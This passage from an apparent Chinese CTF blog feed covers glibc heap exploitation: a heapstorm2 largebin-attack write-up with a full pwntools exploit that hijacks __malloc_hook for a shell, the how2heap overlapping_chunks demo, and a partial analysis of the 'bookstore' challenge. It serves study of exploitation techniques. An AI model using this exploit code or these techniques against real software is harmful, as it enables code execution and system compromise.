<p>然后后面的思路就是在random_area的上方利用largebin attack写上一个fakesize构造fake chunk，并在对应bk的地方也写上下图中victim的地址，首先是为了下一步操作时有个可写地址，但其实这个bk还有大用处</p>
<p>largebin attack之后利用overlap将映射区域对应fake chunk的固定地址写在新链入unsortedbin中的chunk的bk上，为了把random_area的内存calloc出来。这个过程可能有点绕，画个图帮自己理解一下(这里unsortedbin上的chunk是largebin attack之后放上去的，为了方便我就干脆画在一起了)</p>
<img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582962795459.png" width="90%" height="90%">

<p>当我们利用largebin attack写上值之后，我们在fakechunk上已经有了size和bk，此时的bk是victim</p>
<p>但是由于PIE的映射是0x5?开头的地址，也就是说我们能接着calloc出来的chunk大小不能超过0x50，可用的地方还得再缩小之后减0xC。而且当mask损坏的时候如果指针都不变，将会没有办法继续进行操作（而且这块区域是被初始化过的，好像不能直接在操作中给mask赋值，不过利用那个字符串去计算一个说不定可以），我当时想尽办法想通过这个0x50的chunk实现exploit但是始终不行，所以就又去参考了师傅们的WP，发现师傅们是通过再构造一个再calloc出来的(跪)，瞬间就好像又有思路了</p>
<p>我们写的bk是vicitm，所以calloc这个0x5?的chunk之后victim又被放到unsortedbin上面去了，但是如果这个victim chunk内容是我们通过overlap控制的话，就可以再接着控制其bk然后再calloc一个fake chunk，而且此时fakechunk的构造更简单了因为我们已经有了一个0x5?的chunk，可以直接写一个大一点的fakesize</p>
<p>在接着试图calloc random_area时，我们calloc出vicitm之后，还需要把fake chunk的bk再设置一下，因为unsortedbin卸下时需要可写地址，update那个0x5?的chunk就行（写的这个地址因为是libc的，所以在我这个利用中也发挥了很大的用处）</p>
<p>calloc出来这块mem之后，这里的值就全都被置零了，相当于列表清空..效果大概是这样的：</p>
<p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582946763810.png" alt="1582946763810"></p>
<p>我这里没有清完，其实还可以清的更空一些，不过也够了。我的size设置的位置偏了8 23333因为当时怕影响到后面的数据</p>
<p>可以看到我们calloc出这块mem的时候，因为是先calloc再通过异或指针存到记录上，所以calloc之后的mask全都成0了，存上去的也就是真实值（0x133703d8 0xf0）</p>
<p>然后通过这个记录填上view需要的固定异或值，并填上我们前面写的libc地址的位置，还有size，直接读出来之后有任意地址写了就完事了！</p>
<p>我选择的是写<code>__malloc_hook</code>到<code>one_gadget</code>，我看师傅们用的是<code>__free_hook</code>到system然后free一个有<code>/bin/sh</code>字符串的chunk，好像师傅们的更稳定一些，不过到后面任意地址读写之后就简单很多了也不多废话了</p>
<p>这里还记一个看师傅们博客看到的操作，就是largebin attack中如果我们能控制最开始的那个corrupt chunk就能多次利用进行largebin attack</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./heapstorm2'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">fastbin addree to size： (offset_to_fastbinY/8+2)&lt;&lt;(4 or 3)</span></span><br><span class="line"><span class="string">largebin chunksize:0x410|0x450|0x490|0x4C0...</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span><span class="params">(size)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'1'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">update</span><span class="params">(idx,size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'2'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">	p.sendline(str(idx))</span><br><span class="line">	p.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'Content: '</span>)</span><br><span class="line">	p.sendline(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(idx)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'3'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">	p.sendline(str(idx))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">view</span><span class="params">(idx)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'4'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">	p.sendline(str(idx))</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x18</span>)<span class="comment">#0 for off_by_null</span></span><br><span class="line">alloc(<span class="number">0xC30</span>)<span class="comment">#1 for split</span></span><br><span class="line">alloc(<span class="number">0x18</span>)<span class="comment">#2 for merge</span></span><br><span class="line">alloc(<span class="number">0x18</span>)<span class="comment">#3 guard</span></span><br><span class="line"></span><br><span class="line">payload=<span class="string">'\x33'</span>*<span class="number">0xBF0</span>+p64(<span class="number">0xC00</span>)<span class="comment">#set fake prev_size</span></span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line">delete(<span class="number">1</span>)<span class="comment">#(0,,2,3)</span></span><br><span class="line">update(<span class="number">0</span>,<span class="number">0x18</span><span class="number">-0xc</span>,<span class="string">'a'</span>*(<span class="number">0x18</span><span class="number">-0xc</span>))<span class="comment">#off_bu_null 0xC40-&gt;0xC00</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#split 1 now</span></span><br><span class="line">alloc(<span class="number">0xf0</span>)<span class="comment">#1 0x100 chunk</span></span><br><span class="line">alloc(<span class="number">0x400</span>)<span class="comment">#4 0x410 chunk large</span></span><br><span class="line">alloc(<span class="number">0x1f0</span>)<span class="comment">#5 0x200 chunk</span></span><br><span class="line">alloc(<span class="number">0x410</span>)<span class="comment">#6 0x420 chunk large</span></span><br><span class="line"><span class="comment">#1 remain:0x131</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">1</span>)<span class="comment">#(0,,2,3,4,5,6) for unlink</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#(0,,,3,4,5,6) merge&amp;overlap</span></span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0xC50</span>)<span class="comment">#1   now chunk 1 overlap (4,5,6,remain) &amp; remain to smallbin</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#recover 0x410chunk's size &amp; other chunk's size because of calloc--↓</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x400</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x1f0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x421</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x410</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x131</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#------------------------------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#alloc(0x410)#2 !!!!!!!need a overlap chunk for victim do not alloc one like me before</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">4</span>)<span class="comment">#(0,1,,3,,5,6) overlapped chunk 4 to ub</span></span><br><span class="line">alloc(<span class="number">0x430</span>)<span class="comment">#2 set chunk 4 to largebin</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#overwrite chunk 4 ------------------------↓</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707c3</span><span class="number">-0x10</span>)<span class="comment">#mmap region above the random area</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707d8</span><span class="number">-0x20</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)<span class="comment">#set for largebin attack</span></span><br><span class="line"><span class="comment">#------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">6</span>)<span class="comment">#(0,1,2,3,,5) 0x420chunk to ub</span></span><br><span class="line">alloc(<span class="number">0x440</span>)<span class="comment">#4             0x420 chunk to largebin(largebin attack)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#reset 0x200&amp;0x130 chunk's prev_inuse---------↓</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707c3</span><span class="number">-0x10</span>)<span class="comment">#No other meanings,just ctrl+c ctrl+v</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707d8</span><span class="number">-0x20</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x3e0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x1f0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x421</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x410</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x131</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#---------------------------------------------↑</span></span><br><span class="line"><span class="comment">#gdb.attach(p,'brva 0x113c')</span></span><br><span class="line">delete(<span class="number">5</span>)<span class="comment">#(0,1,2,3,4)#set 0x200 chunk to ub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#reset 0x200 chunk's bk-----------------------↓</span></span><br><span class="line">fake_chunk=<span class="number">0x133707c0</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707c3</span><span class="number">-0x10</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707d8</span><span class="number">-0x20</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x3e0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(fake_chunk)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#---------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x1f0</span>)<span class="comment">#5 after this we can alloc the first 0x5? chunk</span></span><br><span class="line">			<span class="comment">#an we need to pass the the chunk_is_mmapped check in _libc_malloc randomly XD</span></span><br><span class="line">loginfo()</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x40</span>)<span class="comment">#6 get first mmap region chunk out</span></span><br><span class="line">update(<span class="number">6</span>,<span class="number">0x18</span>,p64(<span class="number">0x100</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x133707b0</span>))</span><br><span class="line"><span class="comment">#set another fake size&amp;bk,and bk is used for writing libc address:(bck-&gt;fd = unsorted_chunks (av))</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#reset 0x420 chunk's bk again----------------↓</span></span><br><span class="line"><span class="comment">#because we write the 0x420chunk's address(vicitm) on the bk of 0x5? chunk</span></span><br><span class="line"><span class="comment">#after we malloc out the 0x5? chunk,the 0x420 chunk back to unsortedbin again</span></span><br><span class="line"><span class="comment">#we can control the chunk's bk for malloc out the random_area next time</span></span><br><span class="line">fake_chunk=<span class="number">0x133707c8</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x400</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x1f0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x421</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(fake_chunk)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x400</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x131</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#--------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#We can allocate a 0x100 chunk at the random_area! Play our leak&amp;write game now!!!!!!!!!!!!!!!!!!</span></span><br><span class="line">alloc(<span class="number">0x410</span>)<span class="comment">#7</span></span><br><span class="line">alloc(<span class="number">0xf0</span>)<span class="comment">#8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Write the libaddress location&amp;view key at index 0----↓</span></span><br><span class="line">payload=p64(<span class="number">0</span>)*<span class="number">5</span>+p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload+=p64(<span class="number">0x0</span>)+p64(<span class="number">0x13377331</span>)</span><br><span class="line">payload+=p64(<span class="number">0x133707c0</span>)+p64(<span class="number">8</span>)</span><br><span class="line">update(<span class="number">8</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#-----------------------------------------------------↑</span></span><br><span class="line">view(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">'Chunk[0]: '</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">8</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">loginfo(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#__malloc_hook to index 0---------------------↓</span></span><br><span class="line">payload=p64(<span class="number">0</span>)*<span class="number">5</span>+p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload+=p64(<span class="number">0x0</span>)+p64(<span class="number">0x13377331</span>)</span><br><span class="line">payload+=p64(<span class="number">0x3c4b10</span>+libc_base)+p64(<span class="number">8</span>+<span class="number">0xc</span>)</span><br><span class="line">update(<span class="number">8</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#---------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line">update(<span class="number">0</span>,<span class="number">8</span>,p64(<span class="number">0x4526a</span>+libc_base))</span><br><span class="line">alloc(<span class="number">0x666</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>



]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - overlapping_chunks&amp;bookstore,night-deamonic-heap</title>
    <url>/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/</url>
    <content><![CDATA[<h1 id="how2heap-overlapping-chunks-amp-bookstore-night-deamonic-heap"><a href="#how2heap-overlapping-chunks-amp-bookstore-night-deamonic-heap" class="headerlink" title="how2heap - overlapping_chunks&amp;bookstore,night-deamonic-heap"></a>how2heap - overlapping_chunks&amp;bookstore,night-deamonic-heap</h1><p>ubuntu16.04        libc2.23</p>
<h1 id="overlapping-chunks-c"><a href="#overlapping-chunks-c" class="headerlink" title="overlapping_chunks.c"></a>overlapping_chunks.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> A simple tale of overlapping chunk.</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc , <span class="keyword">char</span>* argv[])</span></span>&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">	<span class="keyword">intptr_t</span> *p1,*p2,*p3,*p4;</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis is a simple chunks overlapping problem\n\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's start to allocate 3 chunks on the heap\n"</span>);</span><br><span class="line"></span><br><span class="line">	p1 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">	p2 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">	p3 = <span class="built_in">malloc</span>(<span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n"</span>, p1, p2, p3);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">memset</span>(p1, <span class="string">'1'</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">	<span class="built_in">memset</span>(p2, <span class="string">'2'</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">	<span class="built_in">memset</span>(p3, <span class="string">'3'</span>, <span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow let's free the chunk p2\n"</span>);</span><br><span class="line">	<span class="built_in">free</span>(p2);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"For a toy program, the value of the last 3 bits is unimportant;"</span></span><br><span class="line">		<span class="string">" however, it is best to maintain the stability of the heap.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"</span></span><br><span class="line">		<span class="string">" to assure that p1 is not mistaken for a free chunk.\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">int</span> evil_chunk_size = <span class="number">0x181</span>;</span><br><span class="line">	<span class="keyword">int</span> evil_region_size = <span class="number">0x180</span> - <span class="number">8</span>;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n"</span>,</span><br><span class="line">		 evil_chunk_size, evil_region_size);</span><br><span class="line"></span><br><span class="line">	*(p2<span class="number">-1</span>) = evil_chunk_size; <span class="comment">// we are overwriting the "size" field of chunk p2</span></span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow let's allocate another chunk with a size equal to the data\n"</span></span><br><span class="line">	       <span class="string">"size of the chunk p2 injected size\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This malloc will be served from the previously freed chunk that\n"</span></span><br><span class="line">	       <span class="string">"is parked in the unsorted bin which size has been modified by us\n"</span>);</span><br><span class="line">	p4 = <span class="built_in">malloc</span>(evil_region_size);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\np4 has been allocated at %p and ends at %p\n"</span>, (<span class="keyword">char</span> *)p4, (<span class="keyword">char</span> *)p4+evil_region_size);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 starts at %p and ends at %p\n"</span>, (<span class="keyword">char</span> *)p3, (<span class="keyword">char</span> *)p3+<span class="number">0x80</span><span class="number">-8</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 should overlap with p3, in this case p4 includes all p3.\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"</span></span><br><span class="line">		<span class="string">" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's run through an example. Right now, we have:\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = %s\n"</span>, (<span class="keyword">char</span> *)p4);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 = %s\n"</span>, (<span class="keyword">char</span> *)p3);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nIf we memset(p4, '4', %d), we have:\n"</span>, evil_region_size);</span><br><span class="line">	<span class="built_in">memset</span>(p4, <span class="string">'4'</span>, evil_region_size);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = %s\n"</span>, (<span class="keyword">char</span> *)p4);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 = %s\n"</span>, (<span class="keyword">char</span> *)p3);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nAnd if we then memset(p3, '3', 80), we have:\n"</span>);</span><br><span class="line">	<span class="built_in">memset</span>(p3, <span class="string">'3'</span>, <span class="number">80</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = %s\n"</span>, (<span class="keyword">char</span> *)p4);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 = %s\n"</span>, (<span class="keyword">char</span> *)p3);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>一个比较简单的oevrflow的示例</p>
<p>首先申请了3个chunk</p>
<p>0x100（p1）<br>0x100（p2）<br>0x80（p3）</p>
<p>当我们把0x100的chunk放入unsortedbin之后，模拟p1 overflow修改p2的size为0x180，再通过malloc(0x180-8)即可直接卸下unsortedbin中这个fake 0x180的chunk，达到overlap p3的目的</p>
<p>由于比较简单这里就没放debug的过程，直接开始撸题吧2333</p>
<h1 id="bookstore"><a href="#bookstore" class="headerlink" title="bookstore"></a>bookstore</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>程序比较简单</p>
<img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581674823828.png" width="70%" height="70%">

<p>上来先malloc了三个0x90的small chunk</p>
<p>堆上的内容此时是这样的</p>
<table>
<thead>
<tr>
<th>order1</th>
<th>order2</th>
<th>malloc_dest</th>
</tr>
</thead>
<tbody><tr>
<td>0x90</td>
<td>0x90</td>
<td>0x90</td>
</tr>
</tbody></table>
<h3 id="menu"><a href="#menu" class="headerlink" title="menu"></a>menu</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581674900909.png" width="70%" height="70%">

<p>下面就是一个循环+switch的结构，循环由v4控制，v4为1后结束循环</p>
<p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581675282813.png" alt="1581675282813"></p>
<p>结束循环之后存在格式化字符串漏洞，fmt为malloc_dest</p>
<h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581675013218.png" alt="1581675013218"></p>
<p>无长度检查，存在overflow，在输入的末尾<code>\n</code>处会改成<code>\x00</code></p>
<h3 id="free"><a href="#free" class="headerlink" title="free"></a>free</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581675079810.png" alt="1581675079810"></p>
<p>free就是单纯的free，没有清零指针</p>
<h3 id="submit"><a href="#submit" class="headerlink" title="submit"></a>submit</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581760790065.png" width="85%" height="85%">

<p>就是用order1和order2的内容来填充submit_chunk</p>
<h2 id="Exploite"><a href="#Exploite" class="headerlink" title="Exploite"></a>Exploite</h2><p>程序的chunk的是一开始就malloc好的，无法自己malloc，但是能自己free，当选择5之后可以malloc一个0x150大小的chunk，所以第一思路肯定是free chunk2后通过chunk1更改chunk2的size，然后申请submit_chunk时会返回chunk2的地址，由于submit_chunk比较大，会和malloc_dest形成overlapping，通过修改submit_chunk的内容，溢出到malloc_dest触发格式化字符串漏洞（这里选择时的s可以输入一个比较大的buffer，可以在buffer中填上指针来修改内容）。</p>
<p>因为overlap之后的拷贝操作是先把chunk1的内容拷贝到chunk2，然后再把chunk2的内容加到chunk2后面，所以要计算偏移，具体计算如上图注释，想要malloc_dest刚好放置我们的格式化串我们只需要满足chunk1中有0x74个Byte的内容即可</p>
<p>可是我找了一会之后发现，因为只能用一次格式化字符串，而且在之前也无法泄露，栈指针和libc都利用不了，只能用程序里面的，要么是GOT表，要么是其他可写的段，当然在这里我很自然的联想到了<code>.fini</code>段，这个段是程序结束之后要调用的函数指针，我可以修改它为main函数地址（不过只能利用一次），然后在修改<code>.fini</code>段的时候顺带把栈地址、libc地址一并泄露（只要到程序栈上找到就行）</p>
